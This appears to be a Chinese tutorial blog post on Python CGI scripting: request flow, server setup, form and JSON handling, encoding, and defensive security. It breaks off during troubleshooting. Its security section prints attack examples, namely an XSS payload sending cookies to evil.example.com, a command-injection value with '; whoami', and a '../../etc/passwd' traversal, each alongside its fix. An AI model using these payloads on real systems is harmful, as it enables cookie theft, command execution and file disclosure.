☰
Python CGI编程实战:从请求原理到安全防护
2026/11/5 19:04:45 网站建设 项目流程

上周帮一个朋友抢救旧服务器,打开/var/www/cgi-bin的时候,我看到了一个快十年没动过的hello.py。第一行还是#!/usr/bin/env python3,后面跟着一串print("<html>...")。放在今天,很多人第一反应是“这玩意儿早淘汰了”,可它在这台机器上稳定跑了六七年,中间没升级过一次框架,也没人愿意去重构。

我一直觉得,程序员可以不用 CGI 写生产系统,但不能不懂 CGI。它是最直观的“HTTP 请求是怎么走到代码里”的模型:浏览器发一个请求,Web 服务器把这个请求翻译成环境变量和标准输入,交给 Python 脚本处理,脚本把标准输出原样送回浏览器。Python CGI 编程的核心,就是把这一进一出的规矩吃透。

这篇文章我会从 CGI 的底层机制讲起,带你搭一个能跑的最小环境,然后处理 GET/POST 表单、JSON 请求、中文乱码、安全问题,最后把我在实际操作里踩过的坑和排查套路一起列出来。不管你是刚装好 Python 准备入门,还是已经有 Web 框架基础想补补底层知识,跟着走一遍都能跑起来。

1. 在很多人眼里 CGI 已经过时,但它为什么还没退场

1.1 一次 CGI 请求从浏览器到 Python 脚本的完整链路

先别急着写代码,把链路理解透,后面排错会轻松很多。

假设你访问的是http://your-server/cgi-bin/hello.py?name=zhang,Web 服务器是 Apache。Apache 看到 URL 路径里有/cgi-bin/,就知道这个请求不应该当静态文件返回,而是要启动一个外部程序来处理。处理过程大致是这样:

  1. Apache 根据配置找到/cgi-bin/hello.py这个文件。
  2. 检查文件是否有执行权限,然后用当前 Web 用户的身份去执行这个脚本。
  3. 执行前,Apache 把 URL 里的name=zhang放到环境变量QUERY_STRING,把请求方法放到REQUEST_METHOD,把客户端 IP 放到REMOTE_ADDR,等等。
  4. 如果是 POST 请求,请求体会通过标准输入流传给脚本,脚本再从CONTENT_LENGTH环境变量里知道请求体有多长。
  5. 脚本往标准输出写内容,先是响应头,再是空行,最后是响应正文。
  6. 脚本退出,Apache 把这堆输出原样打包成 HTTP 响应,送回浏览器。

也就是说,CGI 脚本不需要监听端口,不需要自己解析 TCP 数据包,它只需要读环境变量、读标准输入、写标准输出。这也是 CGI 能被几十种语言使用的原因,Perl 能写、Shell 能写、C 能写,Python 自然也能写。

对想搞懂 Web 原理的新手来说,这套流程比直接上 Flask/Django 更容易建立心智模型,因为你亲眼看到了“请求”到底是以什么形式进入程序的。

1.2 Web 服务器传给 Python 脚本的“环境变量”到底有哪些

CGI 里最常用的一批环境变量,我把它们整理成了一张表,建议保存下来:

环境变量含义典型示例
REQUEST_METHODHTTP 请求方法GET、POST
QUERY_STRINGURL 问号后面的原始参数name=zhang&age=18
CONTENT_LENGTH请求体的字节长度13
CONTENT_TYPE请求体的 MIME 类型application/x-www-form-urlencoded
SCRIPT_NAME被请求的脚本路径/cgi-bin/hello.py
PATH_INFO脚本名后面追加的路径/extra
REMOTE_ADDR客户端 IP 地址192.168.1.100
HTTP_USER_AGENT浏览器 UAMozilla/5.0...
HTTP_COOKIE请求带上的 Cookie原始字符串
SERVER_NAME服务器域名your-server.com

为什么 Web 服务器不把参数直接打包成一个大 JSON 传给脚本?因为 CGI 的制定时间太早了,为了不限制编程语言,只能选择“操作系统自带”的进程通信能力——环境变量和标准输入输出。每个语言都能读取环境变量,每个语言默认都会往标准输出写东西,所以 CGI 的通用性极强。

1.3 CGI 最大的毛病是“每次请求都重新启动一个进程”

CGI 被很多人嫌弃,核心原因就一点:每个请求都要 fork 一个新进程来执行脚本。如果脚本是 Python,那就意味着每次请求都可能要重新加载 Python 解释器、重新导入模块,这个开销比常驻内存的 WSGI 服务高很多。再加上 HTTP 本身无状态,CGI 脚本也没有办法在进程之间共享内存会话,所以想自己做登录状态管理会很麻烦。

但换一个角度看,如果你的场景是公司内网工具、个人服务器上的小接口,一天可能就几百次请求,CGI 这点开销根本感知不到。我的观点是:新项目、高并发、复杂业务不要用 CGI,但老系统维护、临时工具、教学演示,CGI 反而因为简单直接而更省心。

2. 动手准备:搭一个能跑 CGI 的最小环境

2.1 Python 版本选择和 CGI 模块现状

在写第一个脚本前,先确认你机器上的 Python 版本。虽然 CGI 本身不挑版本,但 Python 标准库里的cgi和cgitb模块在 Python 3.11 开始被标记为弃用,到了 Python 3.13 已经被移除了。

如果你在 Python 3.13 环境里直接写:

import cgi

会得到一个ModuleNotFoundError: No module named 'cgi'。所以想省事的话,部署环境建议用 Python 3.8 到 3.12 之间的版本。如果项目被迫必须在 3.13 上跑,可以通过pip install legacy-cgi装一个第三方兼容包,也可以完全绕开cgi模块,自己用os.environ、sys.stdin和json解析请求,后面我会给出这种写法。

如果你是在 Windows 上做本地测试,装 Python 的时候记得勾选Add Python to PATH,然后在 VSCode 或 PyCharm 里把解释器指到对应版本,CGI 练习不需要额外装插件,直接跑http.server就行。

2.2 5 分钟本地跑起第一个 Python CGI 脚本

不想一开始就折腾 Apache 的话,用 Python 自带的http.server最方便。需要注意的是,它只把/cgi-bin/目录下的文件当 CGI 脚本执行,所以目录结构必须是这样:

mkdir -p cgi-demo/cgi-bin cd cgi-demo

然后新建cgi-bin/hello.py:

#!/usr/bin/env python3 # -*- coding: utf-8 -*- print("Content-Type: text/html; charset=utf-8") print() print("<h1>Hello, CGI</h1>")

给脚本加执行权限,在cgi-demo目录下启动服务:

chmod +x cgi-bin/hello.py python3 -m http.server --cgi 8000

浏览器访问http://127.0.0.1:8000/cgi-bin/hello.py,能看到一个加粗的标题页面。这个脚本里最重要的就是两个空行逻辑:第一行print输出的是 HTTP 响应头,第二个单独的空print()负责输出空行,表示“响应头结束,正文从这里开始”。少了那个空行,Web 服务器会认为你还停留在响应头阶段,页面就会报错。

2.3 把 CGI 部署到 Apache 上,配置怎么写才算规范

如果你要在真实服务器上跑,Apache 是最经典的搭档。以 Ubuntu/Debian 为例,启用 CGI 模块后编辑站点配置:

ScriptAlias /cgi-bin/ "/var/www/cgi-bin/" <Directory "/var/www/cgi-bin"> Options +ExecCGI AddHandler cgi-script .py .cgi Require all granted </Directory>

ScriptAlias的作用是把 URL 里的/cgi-bin/映射到磁盘上的/var/www/cgi-bin/目录。Options +ExecCGI允许该目录执行 CGI 程序,AddHandler cgi-script .py .cgi告诉 Apache 哪些后缀的文件要当脚本执行,而不是当静态文件直接返回源代码。

如果脚本放在普通网站根目录,不是/cgi-bin/,你需要在对应 Directory 里加上Options +ExecCGI和AddHandler cgi-script .py,否则访问到的就是你 .py 文件的源码。改完配置记得重新加载:

sudo systemctl reload apache2

这里有个细节:脚本文件所有者和 Web 用户的关系要理清。Apache 通常以www-data用户运行,所以脚本至少要能被www-data读取和执行。如果你把脚本放在 root 用户目录,权限设成 700,那 CGI 执行时大概率 500。

2.4 脚本输出规范:你能看到的每一段响应都是自己写的

在 CGI 里,Python 脚本对整个 HTTP 响应负责。响应头可以写Content-Type、Content-Length、Location、Status等。常用的最小模板长这样:

#!/usr/bin/env python3 import sys if hasattr(sys.stdout, "reconfigure"): sys.stdout.reconfigure(encoding="utf-8") sys.stdout.buffer.write( b"Content-Type: text/html; charset=utf-8\r\n" b"Content-Length: 19\r\n" b"\r\n" b"<h1>Hello, CGI</h1>" )

注意这里的响应头换行我写了\r\n。HTTP 规范里,响应头每行必须用 CRLF,也就是回车加换行。Python 的print()默认只输出\n,在我测试的多数服务器上能用,但如果你想做到最稳妥,更建议用sys.stdout.buffer.write手动控制。上面这段代码里我顺带加了Content-Length,它的值是正文的字节数,不是字符数。因为如果正文含中文,一个汉字在 UTF-8 编码下是 3 个字节,如果长度算错,浏览器可能会截断内容。

3. 核心实操:GET、POST、表单数据与 JSON 请求体

3.1 用 FieldStorage 解析表单数据

早期写 CGI,需要自己分解QUERY_STRING或者从sys.stdin读 POST 数据再urllib.parse.parse_qs。Python 标准库提供的cgi.FieldStorage把这些脏活累活都干了,它会根据请求方法自动选择数据来源。

看一个 GET 请求的例子。访问:

http://127.0.0.1:8000/cgi-bin/show.py?name=zhang&city=beijing

脚本里这样取参数:

#!/usr/bin/env python3 import cgi form = cgi.FieldStorage() name = form.getfirst("name", "") city = form.getfirst("city", "")

Post 提交application/x-www-form-urlencoded类型的数据时,FieldStorage也会自动读取sys.stdin,所以同样的代码能兼容 GET 和 POST,这确实省了不少事。

要注意的是,如果同一个字段名出现了多次,比如 URL 是?tag=python&tag=cgi,form.getvalue("tag")可能返回一个列表。想准确拿到全部值,用form.getlist("tag");只想拿第一个值,用form.getfirst("tag", ""),这样更明确。

FieldStorage还能处理文件上传。如果表单项类型是文件,form["file"].file是一个文件对象,下面.filename是文件名。不过文件上传会带来大小和安全问题,后面我会专门说。

3.2 书写一个完整的表单回显页面

我把一个典型的“姓名表单 + 回显”放在一起,完整代码如下:

#!/usr/bin/env python3 import cgi import html import sys if hasattr(sys.stdout, "reconfigure"): sys.stdout.reconfigure(encoding="utf-8") form = cgi.FieldStorage() name = form.getfirst("name", "") # 为什么要 html.escape? # 如果用户输入 <script>alert('xss')</script> # 不转义的话,浏览器会当成真正的脚本执行。 name = html.escape(name, quote=True) body = f"""<!DOCTYPE html> <html> <head><meta charset="utf-8"><title>表单回显</title></head> <body> <form method="post"> 姓名:<input name="name" value="{name}"> <button type="submit">提交</button> </form> <p>你好,{name}</p> </body> </html>""".encode("utf-8") sys.stdout.buffer.write( b"Content-Type: text/html; charset=utf-8\r\n" b"Content-Length: " + str(len(body)).encode("ascii") + b"\r\n" b"\r\n" ) sys.stdout.buffer.write(body)

这里有两个非常容易被新手忽略的点。

第一点是html.escape。CGI 没有框架帮你做模板转义,所有用户输入都会被原样塞进 HTML,如果不转义,用户提交一个<script>就可能打出 XSS,轻则弹窗闹着玩,重则窃取 Cookie。

第二点是str.encode("utf-8")。Python 的字符串长度和 UTF-8 编码后的字节长度不是一回事,如果直接len(body)当Content-Length,遇到中文就会截断。我习惯把所有正文先编码成字节,再用len(encoded_body),这样一定准。

3.3 中文乱码问题为什么总是出现

很多人在 Python CGI 里一输出中文就乱码,或者直接报UnicodeEncodeError。这里要搞清楚一个关键点:Python 3 里,标准输出默认用什么编码,取决于运行环境,而不是取决于你代码文件是什么编码。

如果服务器的 locale 是C或者POSIX,Python 的 stdout 可能被设置成 ASCII,你写:

print("你好")

就会抛错,因为在它眼里 ASCII 编码不支持“你”这个字。即使不抛错,如果响应头里没有charset=utf-8,浏览器也可能用默认的编码猜,乱码就出现了。

所以两条都要做:第一是 HTTP 响应头必须写Content-Type: text/html; charset=utf-8,告诉浏览器用 UTF-8 解码;第二是强制让脚本输出到 stdout 时使用 UTF-8 编码。最简单的做法是在脚本一开始加入:

import sys if hasattr(sys.stdout, "reconfigure"): sys.stdout.reconfigure(encoding="utf-8")

reconfigure是 Python 3.7 以后才有的方法,所以用hasattr判断一下,老版本不会崩。如果你代码里用sys.stdout.buffer.write直接写字节,那就完全没有 stdout 编码问题了,这也是我更喜欢手动控制编码的原因。

3.4 前端用 fetch 提交 JSON,为什么 FieldStorage 取不到数据

现在很多前端交互已经不用传统表单了,而是用 fetch 发一段 JSON:

fetch("/cgi-bin/api.py", { method: "POST", headers: { "Content-Type": "application/json" }, body: JSON.stringify({ name: "zhang" }) });

这种请求体不是键值对格式,cgi.FieldStorage解析不出来,你会拿到一个空表单。解决办法是手动读取标准输入:

#!/usr/bin/env python3 import os import sys import json if hasattr(sys.stdout, "reconfigure"): sys.stdout.reconfigure(encoding="utf-8") length = int(os.environ.get("CONTENT_LENGTH") or 0) raw_body = sys.stdin.read(length) if length > 0 else "" try: payload = json.loads(raw_body) if raw_body else {} except json.JSONDecodeError: payload = {} name = payload.get("name", "")

这段代码的关键是:只读CONTENT_LENGTH指定的字节数,不要无限read()。因为 Web 服务器传给 CGI 脚本的 stdin 在请求体结束后可能并不会立刻关闭,直接read()有可能一直阻塞等到超时。

能用这种方式处理 JSON,就不需要依赖cgi模块了,哪怕在 Python 3.13 上也能正常跑。这对未来维护意义很大,因为标准库移除cgi已经是大趋势。

3.5 一个可复用的 JSON 接口完整模板

我把自己常用的 JSON 返回逻辑封装成了模板,直接保存成一个 .py 放到/cgi-bin/就能用:

#!/usr/bin/env python3 import os import sys import json if hasattr(sys.stdout, "reconfigure"): sys.stdout.reconfigure(encoding="utf-8") MAX_BODY = 1024 * 1024 # 限制 1MB def send_json(data, status="200 OK"): body = json.dumps(data, ensure_ascii=False).encode("utf-8") sys.stdout.buffer.write( f"Status: {status}\r\n".encode("ascii") + b"Content-Type: application/json; charset=utf-8\r\n" + b"Content-Length: " + str(len(body)).encode("ascii") + b"\r\n" + b"\r\n" ) sys.stdout.buffer.write(body) def read_json_body(): try: length = int(os.environ.get("CONTENT_LENGTH") or 0) except ValueError: length = 0 if length > MAX_BODY: return None, "请求体超过大小限制" raw = sys.stdin.read(length) if length > 0 else "" if not raw: return {}, "" try: return json.loads(raw), "" except json.JSONDecodeError: return None, "JSON 格式错误" data, err = read_json_body() if err: send_json({"ok": False, "error": err}, "400 Bad Request") else: send_json({"ok": True, "echo": data})

这段代码里我写了Status头,可以让 CGI 返回非 200 的状态码。注意Status: 200 OK这种写法只有非 NPH 的 CGI 才支持,常规 Apache CGI 完全没问题。如果脚本名以nph-开头,那表示你打算自己输出完整 HTTP 状态行,情况又不一样,不过日常开发很少遇到。

4. 安全:CGI 没有框架给你兜底,必须自己把关

4.1 XSS 的第一道防线:转义一切动态输出

用 CGI 写页面,最危险的习惯就是把用户输入直接拼进 HTML。有人在代码里写:

print(f"<p>欢迎,{name}</p>")

如果用户输入的是:

<script>document.location='http://evil.example.com/steal?cookie='+document.cookie</script>

浏览器渲染时就会执行这段恶意代码。CGI 不像主流模板引擎自带自动转义,所以每次输出用户可控内容到 HTML,都建议过一遍html.escape。转义后,<会变成&lt;,脚本标签只会被当成普通文本显示,不会执行。

同理,如果要把用户输入输出到 URL 参数里,用urllib.parse.quote;输出到 JS 字符串变量里,那更复杂,压根不建议你把用户内容直接塞进<script>里的 JSON 变量。

4.2 命令注入:别在 CGI 里拼 shell 命令

我看过有人图省事,在 CGI 脚本里这样执行 ping:

import os ip = "127.0.0.1" os.system("ping -c 2 " + ip)

这行代码一旦暴露到公网,攻击者只要提交ip=127.0.0.1; whoami,shell 就会执行完 ping 再执行 whoami。再进一步就是读取系统文件、下载恶意程序。

如果你确实需要调用外部程序,用subprocess的列表形式,不要开 shell:

import subprocess ip = "127.0.0.1" result = subprocess.run( ["ping", "-c", "2", ip], capture_output=True, text=True, timeout=5 ) print(result.stdout)

列表形式不会经过 shell 解释,所以;、|、$()都只是普通字符,没法形成注入。实在没办法需要拼字符串时,等于是把自己放到了危险边缘,这个时候才需要用 shlex.quote 去转义,但最好还是别走到这一步。

4.3 路径穿越与文件上传限制

如果脚本要根据PATH_INFO或某个参数去读文件,比如用户传一个文件名name=report.txt,你就用os.path.join拼了一个完整路径,那用户传../../etc/passwd,就能穿越目录读取任意文件。简单有效的思路是做两层限制:第一层用os.path.basename只取文件名,第二层把结果放进白名单里,而不是直接用请求里的路径。

import os filename = os.path.basename(form.getfirst("file", "")) ALLOWED = {"report-2025.txt", "report-2024.txt"} if filename not in ALLOWED: # 返回 403 ... else: path = os.path.join("/data/reports", filename)

文件上传更要注意,cgi.FieldStorage会把上传的文件自动写到临时文件,不会大到爆内存,但你总得限制上传总大小,否则一个巨大的上传请求也能耗光临时磁盘。Apache 层面可以设置LimitRequestBody 1048576,代码层在读取上传文件内容时也要加固定长度的循环读取。

4.4 只允许特定 IP 访问内部 CGI 接口

如果你写的是内部运维工具,没有登录系统,最简单的安全策略之一就是 IP 白名单。CGI 环境变量里REMOTE_ADDR就是客户端 IP,脚本开头检查一下:

import os allowed = {"127.0.0.1", "192.168.1.0"} client_ip = os.environ.get("REMOTE_ADDR", "") if client_ip not in allowed: sys.stdout.buffer.write(b"Status: 403 Forbidden\r\n\r\nForbidden") sys.exit(0)

当然,如果前端有 Nginx 反向代理,REMOTE_ADDR可能永远是代理的 IP。这种情况下要看代理有没有把真实 IP 穿到X-Forwarded-For头里,但不能直接信任这个头,因为客户端也可以伪造,必须让代理覆盖掉原值后才可信。这里水比较深,内部工具如果不经过反向代理,直接限制来源 IP 是最容易想到的方案。

5. 真实环境里最常见的报错与排查套路

5.1 浏览器返回 500 Internal Server Error,第一刀砍向哪里

500 是 CGI 新手遇到最多的报错。我的排查顺序固定不变:先看 Apache 的错误日志,然后在终端手动执行脚本,最后用 curl 看响应。

Apache 日志默认位置一般是/var/log/apache2/error.log,执行:

sudo tail -n 50 /var/log/apache2/error.log

如果错误日志提示:

No such file or directory: /usr/bin/env python

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询